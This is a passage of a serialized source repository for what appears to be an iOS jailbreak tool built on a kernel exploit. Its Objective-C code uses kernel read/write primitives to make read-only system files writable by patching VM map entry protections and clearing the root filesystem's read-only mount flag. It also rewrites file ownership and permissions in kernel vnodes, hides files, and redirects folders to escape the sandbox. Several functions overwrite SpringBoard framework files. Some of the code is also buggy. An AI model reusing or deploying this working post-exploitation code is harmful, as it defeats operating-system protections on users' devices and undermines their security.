 new_flags = (new_flags & ~FLAGS_MAXPROT_MASK) | ((u64)max_prot << FLAGS_MAXPROT_SHIFT);\n    if (new_flags != flags) {\n        kwrite64(entry_ptr + 0x48, new_flags);\n    }\n}\n\nu64 start = 0, end = 0;\n\nu64 task_get_vm_map(u64 task_ptr)\n{\n    return kread_ptr(task_ptr + 0x28);\n}\n\nchar* funVnodeRead(char *file) {\n    NSLog(@\"attempting opa's method\");\n    NSLog(@\"reading %s\", file);\n    int file_index = open(file, O_RDONLY);\n    if (file_index == -1)  {\n        NSLog(@\"to file nonexistent\");\n        return -1;\n    }\n    off_t file_size = lseek(file_index, 0, SEEK_END);\n    NSLog(@\"mmap as readonly\");\n    char* file_data = mmap(NULL, file_size, PROT_READ, MAP_SHARED | MAP_RESILIENT_CODESIGN, file_index, 0);\n    if (file_data == MAP_FAILED) {\n        NSLog(@\"Map failed\");\n        close(file_index);\n        return 0;\n    }\n    munmap(file_data, file_size);\n    close(file_index);\n    return file_data;\n}\n\nvoid funVnodeSave(char* file) {\n    int file_index = open(file, O_RDONLY);\n    if (file_index == -1)  {\n        NSLog(@\"to file nonexistent\");\n        return;\n    }\n    off_t file_size = lseek(file_index, 0, SEEK_END);\n    NSLog(@\"mmap as readonly\");\n    char* file_data = mmap(NULL, file_size, PROT_READ, MAP_SHARED, file_index, 0);\n    if (file_data == MAP_FAILED) {\n        close(file_index);\n        return;\n    }\n    \n    for (int i; i<10; i++) {\n        // msync with invalidate to\n        NSLog(@\"msyncing\");\n        if (msync(file_data, file_size, MS_INVALIDATE) == -1) {\n            perror(\"[-] Failed to msync\\n\");\n        }\n    }\n}\n\n#pragma mark overwrite2\nu64 funVnodeOverwrite2(char* to, char* from) {\n    NSLog(@\"writing to %s\", to);\n    int to_file_index = open(to, O_RDONLY);\n    if (to_file_index == -1)  {\n        NSLog(@\"to file nonexistent\");\n        return -1;\n    }\n    \n    off_t to_file_size = lseek(to_file_index, 0, SEEK_END);\n    \n    \n    NSLog(@\" from %s\", from);\n    int from_file_index = open(from, O_RDONLY);\n    if (from_file_index == -1)  {\n        NSLog(@\"from file nonexistent\");\n        return -1;\n    }\n    off_t from_file_size = lseek(from_file_index, 0, SEEK_END);\n    \n    if(to_file_size < from_file_size) {\n        close(from_file_index);\n        close(to_file_index);\n        NSLog(@\"[-] File is too big to overwrite!\");\n        return -1;\n    }\n    usleep(450);\n    //mmap as read only\n    NSLog(@\"mmap as readonly\\n\");\n    char* to_file_data = mmap(NULL, to_file_size, PROT_READ, MAP_SHARED, to_file_index, 0);\n    if (to_file_data == MAP_FAILED) {\n        close(to_file_index);\n        // Handle error mapping source file\n        return 0;\n    }\n    \n    // set prot to rw-\n    NSLog(@\"task_get_vm_map -> vm ptr\");\n    u64 vm_ptr = task_get_vm_map(getTask());\n    u64 entry_ptr = vm_map_find_entry(vm_ptr, (u64)to_file_data);\n    NSLog(@\"set prot to rw-\");\n    vm_map_entry_set_prot(entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE);\n    \n    char* from_file_data = mmap(NULL, from_file_size, PROT_READ, MAP_SHARED, from_file_index, 0);\n    if (from_file_data == MAP_FAILED) {\n        perror(\"[-] Failed mmap (from_mapped)\");\n        close(from_file_index);\n        close(to_file_index);\n        return -1;\n    }\n    \n    NSLog(@\"it is writable!\");\n    memcpy(to_file_data, from_file_data, from_file_size);\n    NSLog(@\"[i] msync ret: %dn\", msync(to_file_data, to_file_size, MS_SYNC));\n//    funVnodeSave(to);\n    \n    // Cleanup\n    munmap(from_file_data, from_file_size);\n    munmap(to_file_data, to_file_size);\n    \n    close(from_file_index);\n    close(to_file_index);\n    NSLog(@\"done\");\n    // Return success or error code\n    return 0;\n}\n\nu64 funVnodeOverwriteWithBytes(const char* filename, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd) {\n    NSLog(@\"attempting opa's method\");\n    int file_index = open(filename, O_RDONLY);\n    if (file_index == -1) return -1;\n    off_t file_size = lseek(file_index, 0, SEEK_END);\n    \n    if (file_size < file_offset + overwrite_length) {\n        close(file_index);\n        NSLog(@\"[-] Offset + length is beyond the file size!\");\n        return -1;\n    }\n    \n//     mmap as read-write\n    NSLog(@\"mmap as read only\");\n    char* file_data = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, file_index, 0);\n    if (file_data == MAP_FAILED) {\n        NSLog(@\"failed mmap... try again\");\n        close(file_index);\n        // Handle error mapping the file\n        return -1;\n    }\n    \n    NSLog(@\"task_get_vm_map -> vm ptr\");\n    u64 task_ptr = getTask();\n    u64 vm_ptr = task_get_vm_map(task_ptr);\n    NSLog(@\"entry_ptr\");\n    u64 entry_ptr = vm_map_find_entry(vm_ptr, (u64)file_data);\n    NSLog(@\"set prot to rw-\");\n    vm_map_entry_set_prot(entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE);\n    \n    NSLog(@\"Writing data at offset %lld\", file_offset);\n    memcpy(file_data + file_offset, overwrite_data, overwrite_length);\n    \n//    if (unmapAtEnd) {\n        munmap(file_data, file_size);\n        close(file_index);\n//    }\n\n    return 1;\n}\n\nvoid overwriteWithFileImpl(NSURL *replacementURL, const char *pathToTargetFile) {\n    NSString *tempURLString = [replacementURL absoluteString];\n    const char *cTempURL = [tempURLString UTF8String];\n    const char *shortenedURL = cTempURL + 7;  // Make sure that cTempURL is null-terminated\n    \n    // Print the shortenedURL to verify if it's correct\n    NSLog(@\"Shortened URL: %s\", shortenedURL);\n    \n    funVnodeOverwrite2(pathToTargetFile, shortenedURL);\n}\n\nvoid TempOverwriteFile(int type) {\n    if (type == 0) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/folderDark.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/folderLight.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 1) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/podBackgroundViewDark.visualstyleset\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/podBackgroundViewLight.visualstyleset\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 2) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/dockDark.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/dockLight.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 3) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/folderExpandedBackgroundHome.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/homeScreenOverlay.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoardHome.framework/homeScreenOverlay-iPad.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 4) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/SpringBoard.framework/homeScreenBackdrop-application.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 5) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/plattersDark.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/platters.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 6) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/PlatterKit.framework/platterVibrantShadowDark.visualstyleset\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/PlatterKit.framework/platterVibrantShadowLight.visualstyleset\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 7) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/modules.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    } else if (type == 8) {\n        funVnodeOverwrite2(\"/System/Library/PrivateFrameworks/CoreMaterial.framework/modulesBackground.materialrecipe\", [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/TempOverwriteFile\"].UTF8String);\n    }\n}\n"
  },
  {
    "path": "usprebooter/fun/utils.h",
    "content": "//\n//  utils.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/30.\n//\n\n#include <stdio.h>\n#include <Foundation/Foundation.h>\n#include <UIKit/UIKit.h>\n\nvoid HexDump(uint64_t addr, size_t size);\n"
  },
  {
    "path": "usprebooter/fun/utils.m",
    "content": "//\n//  utils.m\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/30.\n//\n\n#import <Foundation/Foundation.h>\n#import <dirent.h>\n#import <sys/statvfs.h>\n#import <sys/stat.h>\n#import <dlfcn.h>\n#import \"proc.h\"\n#import \"vnode.h\"\n#import \"krw.h\"\n#import \"offsets.h\"\n#import \"thanks_opa334dev_htrowii.h\"\n#import \"utils.h\"\n\nuint64_t createFolderAndRedirect(uint64_t vnode, NSString *mntPath) {\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    uint64_t orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    \n    return orig_to_v_data;\n}\n\nuint64_t UnRedirectAndRemoveFolder(uint64_t orig_to_v_data, NSString *mntPath) {\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    \n    return 0;\n}\n\nvoid HexDump(uint64_t addr, size_t size) {\n    void *data = malloc(size);\n    kreadbuf(addr, data, size);\n    char ascii[17];\n    size_t i, j;\n    ascii[16] = '\\0';\n    for (i = 0; i < size; ++i) {\n        if ((i % 16) == 0)\n        {\n            NSLog(@\"[0x%016llx+0x%03zx] \", addr, i);\n//            NSLog(@\"[0x%016llx] \", i + addr);\n        }\n        \n        NSLog(@\"%02X \", ((unsigned char*)data)[i]);\n        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {\n            ascii[i % 16] = ((unsigned char*)data)[i];\n        } else {\n            ascii[i % 16] = '.';\n        }\n        if ((i+1) % 8 == 0 || i+1 == size) {\n            NSLog(@\" \");\n            if ((i+1) % 16 == 0) {\n                NSLog(@\"|  %s \\n\", ascii);\n            } else if (i+1 == size) {\n                ascii[(i+1) % 16] = '\\0';\n                if ((i+1) % 16 <= 8) {\n                    NSLog(@\" \");\n                }\n                for (j = (i+1) % 16; j < 16; ++j) {\n                    NSLog(@\"   \");\n                }\n                NSLog(@\"|  %s \\n\", ascii);\n            }\n        }\n    }\n    free(data);\n}\n"
  },
  {
    "path": "usprebooter/fun/vnode.h",
    "content": "//\n//  vnode.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include <stdio.h>\n\n//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/mount.h#L293\n#define MNT_RDONLY      0x00000001      /* read only filesystem */\n#define MNT_NOSUID      0x00000008      /* don't honor setuid bits on fs */\n#define MNT_ROOTFS      0x00004000      /* identifies the root filesystem */\n#define MNT_UPDATE      0x00010000      /* not a real mount, just an update */\n//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L297\n#define VISSHADOW       0x008000        /* vnode is a shadow file */\n\n//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L112\n//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L231\n#define FREAD           0x00000001\n#define FWRITE          0x00000002\n\nuint64_t getVnodeAtPath(char* filename);    /* return vnode of path, if open(filename, RD_ONLY) returned -1, it fails */\nuint64_t getVnodeAtPathByChdir(char *path); /* return vnode of path, but only directories work. NOT files. */\nuint64_t findRootVnode(void);   /* return root vnode as is */\n\n/*\nDescription:\n  Hide file or directory.\n  Return vnode value for restore.\n*/\nuint64_t funVnodeHide(char* filename);\n\n/*\nDescription:\n  Reveal file or directory.\n  Required vnode value to restore.\n*/\nuint64_t funVnodeReveal(uint64_t vnode);\n\n/*\nDescription:\n  Perform chown to file or directory.\n*/\nuint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid);\n\n/*\nDescription:\n  Perform chmod to file or directory.\n*/\nuint64_t funVnodeChmod(char* filename, mode_t mode);\n\n/*\nDescription:\n  Redirect directory to another directory.\n  Only work when mount points of directories are same.\n  Can be escaped out of sandbox.\n  If succeeds, return value to_vnode->v_data (for unredirect)\n*/\nuint64_t funVnodeRedirectFolder(char* to, char* from);\n\n/*\nDescription:\n  Perform overwrite file data to file.\n  Only work when file size is 'lower or same' than original file size.\n  Overwriting executable file also works, but executing will not work anymore. just freeze or crash.\n*/\nuint64_t funVnodeOverwriteFile(char* to, char* from);\n\n/*\nDescription:\n  Iterating sub directory or file at dirname.\n*/\nuint64_t funVnodeIterateByPath(char* dirname);\n\n/*\nDescription:\n  Iterating sub directory or file at vnode.\n*/\nuint64_t funVnodeIterateByVnode(uint64_t vnode);\n\n/*\nDescription:\n  Redirect directory to another directory using vnode.\n  Only work when mount points of directories are same.\n  Can be escaped out of sandbox.\n  If succeeds, return value to_vnode->v_data (for unredirect)\n*/\nuint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode);\n\n/*\nDescription:\n  UnRedirect directory to another directory.\n  It needs orig_to_v_data, ususally you can get return value of funVnodeRedirectFolder / funVnodeRedirectFolderByVnode\n*/\nuint64_t funVnodeUnRedirectFolder(char* to, uint64_t orig_to_v_data);\n\n/*\nDescription:\n  Return vnode of subdirectory or sub file in vnode.\n  childname can be what you want to find subdirectory or file name.\n  vnode should be vnode of root directory.\n*/\nuint64_t findChildVnodeByVnode(uint64_t vnode, char* childname);\n\n/*\nDescription:\n  Perform overwrite file data to file.\n  You can overwrite file data without file size limit! but only works on /var files.\n  Overwriting executable file also works, but executing will also work since using write() instead of mmap().\n  https://openradar.appspot.com/FB8914231\n*/\nuint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from);\n\n///var/containers/Bundle/Application/88F96BC5-912F-4924-A4BC-4A03324BE549/usprebooter.app/shim\n\nvoid ChangeDirFor(int pid, const char *where); // change directory for something with chroot\n\nint SwitchSysBin(uint64_t vnode, char* what, char* with); // overwrite v_name to swap files\n"
  },
  {
    "path": "usprebooter/fun/vnode.m",
    "content": "//\n//  vnode.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include \"vnode.h\"\n#include \"krw.h\"\n#include \"proc.h\"\n#include \"offsets.h\"\n#include \"common.h\"\n#include <sys/fcntl.h>\n#include <unistd.h>\n#include <sys/stat.h>\n#include <string.h>\n#include <sys/mman.h>\n#include <Foundation/Foundation.h>\n#include \"thanks_opa334dev_htrowii.h\"\n#include \"utils.h\"\n\nuint64_t getVnodeAtPath(char* filename) {\n    int file_index = open(filename, O_RDONLY);\n    if (file_index == -1) return -1;\n    \n    uint64_t proc = getProc(getpid());\n\n    uint64_t filedesc_pac = kread64(proc + off_p_pfd);\n    uint64_t filedesc = filedesc_pac | base_pac_mask;\n    uint64_t openedfile = kread64(filedesc + (8 * file_index));\n    uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);\n    uint64_t fileglob = fileglob_pac | base_pac_mask;\n    uint64_t vnode_pac = kread64(fileglob + off_fg_data);\n    uint64_t vnode = vnode_pac | base_pac_mask;\n    \n    close(file_index);\n    \n    return vnode;\n}\n\nuint64_t funVnodeHide(char* filename) {\n    uint64_t vnode = getVnodeAtPath(filename);\n    if(vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", filename);\n        return -1;\n    }\n    \n    //vnode_ref, vnode_get\n    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);\n    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);\n    NSLog(@\"[i] vnode->usecount: %d, vnode->iocount: %d\", usecount, iocount);\n    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);\n    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);\n    \n    //hide file\n    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);\n    NSLog(@\"[i] vnode->v_flags: 0x%x\", v_flags);\n    kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW));\n\n    //exist test (should not be exist\n    NSLog(@\"[i] %s access ret: %d\", filename, access(filename, F_OK));\n    \n    //restore vnode iocount, usecount\n    usecount = kread32(vnode + off_vnode_v_usecount);\n    iocount = kread32(vnode + off_vnode_v_iocount);\n    if(usecount > 0)\n        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);\n    if(iocount > 0)\n        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);\n\n    return vnode;\n}\n\nuint64_t funVnodeReveal(uint64_t vnode) {\n    //vnode_ref, vnode_get\n    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);\n    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);\n    NSLog(@\"[i] vnode->usecount: %d, vnode->iocount: %d\", usecount, iocount);\n    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);\n    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);\n    \n    //show file\n    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);\n    kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));\n    \n    //restore vnode iocount, usecount\n    usecount = kread32(vnode + off_vnode_v_usecount);\n    iocount = kread32(vnode + off_vnode_v_iocount);\n    if(usecount > 0)\n        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);\n    if(iocount > 0)\n        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);\n\n    return 0;\n}\n\nuint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) {\n\n    uint64_t vnode = getVnodeAtPath(filename);\n    if(vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", filename);\n        return -1;\n    }\n    \n    uint64_t v_data = kread64(vnode + off_vnode_v_data);\n    uint32_t v_uid = kread32(v_data + 0x80);\n    uint32_t v_gid = kread32(v_data + 0x84);\n    \n    //vnode->v_data->uid\n    NSLog(@\"[i] Patching %s vnode->v_uid %d -> %d\", filename, v_uid, uid);\n    kwrite32(v_data+0x80, uid);\n    //vnode->v_data->gid\n    NSLog(@\"[i] Patching %s vnode->v_gid %d -> %d\", filename, v_gid, gid);\n    kwrite32(v_data+0x84, gid);\n    \n    struct stat file_stat;\n    if(stat(filename, &file_stat) == 0) {\n        NSLog(@\"[+] %s UID: %d\", filename, file_stat.st_uid);\n        NSLog(@\"[+] %s GID: %d\", filename, file_stat.st_gid);\n    }\n    \n    return 0;\n}\n\nuint64_t funVnodeChmod(char* filename, mode_t mode) {\n    uint64_t vnode = getVnodeAtPath(filename);\n    if(vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", filename);\n        return -1;\n    }\n    \n    uint64_t v_data = kread64(vnode + off_vnode_v_data);\n    uint32_t v_mode = kread32(v_data + 0x88);\n    \n    NSLog(@\"[i] Patching %s vnode->v_mode %o -> %o\", filename, v_mode, mode);\n    kwrite32(v_data+0x88, mode);\n    \n    struct stat file_stat;\n    if(stat(filename, &file_stat) == 0) {\n        NSLog(@\"[+] %s mode: %o\", filename, file_stat.st_mode);\n    }\n    \n    return 0;\n}\n\nuint64_t findRootVnode(void) {\n    uint64_t launchd_proc = getProc(1);\n    \n    uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp);\n    uint64_t textvp = textvp_pac | base_pac_mask;\n    NSLog(@\"[i] launchd proc->textvp: 0x%llx\\n\", textvp);\n\n    uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name);\n    uint64_t textvp_name = kread64(textvp_nameptr);\n    uint64_t devvp = kread64((kread64(textvp + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    uint64_t nameptr = kread64(devvp + off_vnode_v_name);\n    uint64_t name = kread64(nameptr);\n    char* devName = &name;\n    NSLog(@\"[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\", (char*)&textvp_name, devName);\n    \n    uint64_t sbin_vnode = kread64(textvp + off_vnode_v_parent) | base_pac_mask;\n    textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name);\n    textvp_name = kread64(textvp_nameptr);\n    devvp = kread64((kread64(textvp + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    nameptr = kread64(devvp + off_vnode_v_name);\n    name = kread64(nameptr);\n    devName = &name;\n    NSLog(@\"[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\", (char*)&textvp_name, devName);\n    \n    uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent) | base_pac_mask;\n    textvp_nameptr = kread64(root_vnode + off_vnode_v_name);\n    textvp_name = kread64(textvp_nameptr);\n    devvp = kread64((kread64(root_vnode + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    nameptr = kread64(devvp + off_vnode_v_name);\n    name = kread64(nameptr);\n    devName = &name;\n    NSLog(@\"[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\", (char*)&textvp_name, devName);\n    NSLog(@\"[+] rootvnode: 0x%llx\", root_vnode);\n    \n    return root_vnode;\n}\n\nuint64_t funVnodeRedirectFolder(char* to, char* from) {\n    uint64_t to_vnode = getVnodeAtPath(to);\n    if(to_vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\\n\", to);\n        return -1;\n    }\n    \n    uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);\n    uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);\n    uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);\n    uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data);\n    \n    uint64_t from_vnode = getVnodeAtPath(from);\n    if(from_vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", from);\n        return -1;\n    }\n    \n    //If mount point is different, return -1\n    uint64_t to_devvp = kread64((kread64(to_vnode + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    uint64_t from_devvp = kread64((kread64(from_vnode + off_vnode_v_mount) | base_pac_mask) + off_mount_mnt_devvp);\n    if(to_devvp != from_devvp) {\n        NSLog(@\"[-] mount points of folders are different!\");\n        return -1;\n    }\n    \n    uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);\n    \n    kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1);\n    kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1);\n    kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1);\n    kwrite64(to_vnode + off_vnode_v_data, from_v_data);\n    \n    return orig_to_v_data;\n}\n\nuint64_t funVnodeOverwriteFile(char* to, char* from) {\n\n    int to_file_index = open(to, O_RDONLY);\n    if (to_file_index == -1) return -1;\n    off_t to_file_size = lseek(to_file_index, 0, SEEK_END);\n    \n    int from_file_index = open(from, O_RDONLY);\n    if (from_file_index == -1) return -1;\n    off_t from_file_size = lseek(from_file_index, 0, SEEK_END);\n    \n    if(to_file_size < from_file_size) {\n        close(from_file_index);\n        close(to_file_index);\n        NSLog(@\"[-] File is too big to overwrite!\");\n        return -1;\n    }\n    \n    uint64_t proc = getProc(getpid());\n    \n    //get vnode\n    uint64_t filedesc_pac = kread64(proc + off_p_pfd);\n    uint64_t filedesc = filedesc_pac | base_pac_mask;\n    uint64_t openedfile = kread64(filedesc + (8 * to_file_index));\n    uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);\n    uint64_t fileglob = fileglob_pac | base_pac_mask;\n    uint64_t vnode_pac = kread64(fileglob + off_fg_data);\n    uint64_t to_vnode = vnode_pac | base_pac_mask;\n    NSLog(@\"[i] %s to_vnode: 0x%llx\", to, to_vnode);\n    \n    uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount);\n    uint64_t rootvnode_mount = rootvnode_mount_pac | base_pac_mask;\n    uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag);\n    \n    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY);\n    kwrite32(fileglob + off_fg_flag, FREAD | FWRITE);\n    \n    uint32_t to_vnode_v_writecount =  kread32(to_vnode + off_vnode_v_writecount);\n    NSLog(@\"[i] %s Increasing to_vnode->v_writecount: %d\", to, to_vnode_v_writecount);\n    if(to_vnode_v_writecount <= 0) {\n        kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);\n        NSLog(@\"[+] %s Increased to_vnode->v_writecount: %d\", to, kread32(to_vnode + off_vnode_v_writecount));\n    }\n    \n\n    char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0);\n    if (from_mapped == MAP_FAILED) {\n        perror(\"[-] Failed mmap (from_mapped)\");\n        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);\n        close(from_file_index);\n        close(to_file_index);\n        return -1;\n    }\n    \n    char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0);\n    if (to_mapped == MAP_FAILED) {\n        perror(\"[-] Failed mmap (to_mapped)\");\n        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);\n        close(from_file_index);\n        close(to_file_index);\n        return -1;\n    }\n    \n    memcpy(to_mapped, from_mapped, from_file_size);\n    NSLog(@\"[i] msync ret: %d\", msync(to_mapped, to_file_size, MS_SYNC));\n    \n    munmap(from_mapped, from_file_size);\n    munmap(to_mapped, to_file_size);\n    \n    kwrite32(fileglob + off_fg_flag, FREAD);\n    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);\n    \n    close(from_file_index);\n    close(to_file_index);\n    \n    return 0;\n}\n\nuint64_t funVnodeIterateByPath(char* dirname) {\n    \n    uint64_t vnode = getVnodeAtPath(dirname);\n    if(vnode == -1) {\n        NSLog(@\"[-] Unable to get vnode, path: %s\", dirname);\n        return -1;\n    }\n    \n    uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);\n    uint64_t vp_name = kread64(vp_nameptr);\n    \n    NSLog(@\"[i] vnode->v_name: %s\", (char*)&vp_name);\n    \n    //get child directory\n    \n    uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);\n    NSLog(@\"[i] vnode->v_ncchildren.tqh_first: 0x%llx\", vp_namecache);\n    if(vp_namecache == 0)\n        return 0;\n    \n    while(1) {\n        if(vp_namecache == 0)\n            break;\n        vnode = kread64(vp_namecache + off_namecache_nc_vp);\n        if(vnode == 0)\n            break;\n        vp_nameptr = kread64(vnode + off_vnode_v_name);\n        \n        char vp_name[256];\n        kreadbuf(vp_nameptr, &vp_name, 256);\n        \n        NSLog(@\"[i] vnode->v_name: %s, vnode: 0x%llx\", vp_name, vnode);\n        vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);\n    }\n\n    return 0;\n}\n\nuint64_t funVnodeIterateByVnode(uint64_t vnode) {\n    uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);\n    uint64_t vp_name = kread64(vp_nameptr);\n    \n    NSLog(@\"[i] vnode->v_name: %s\", (char*)&vp_name);\n    \n    //get child directory\n    uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);\n    NSLog(@\"[i] vnode->v_ncchildren.tqh_first: 0x%llx\", vp_namecache);\n    if(vp_namecache == 0)\n        return 0;\n    \n    while(1) {\n        if(vp_namecache == 0)\n            break;\n        vnode = kread64(vp_namecache + off_namecache_nc_vp);\n        if(vnode == 0)\n            break;\n        vp_nameptr = kread64(vnode + off_vnode_v_name);\n        \n        char vp_name[256];\n        kreadbuf(vp_nameptr, &vp_name, 256);\n        \n        NSLog(@\"[i] vnode->v_name: %s, vnode: 0x%llx\", vp_name, vnode);\n        vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);\n    }\n\n    return 0;\n}\n\nuint64_t getVnodeVar(void) {\n  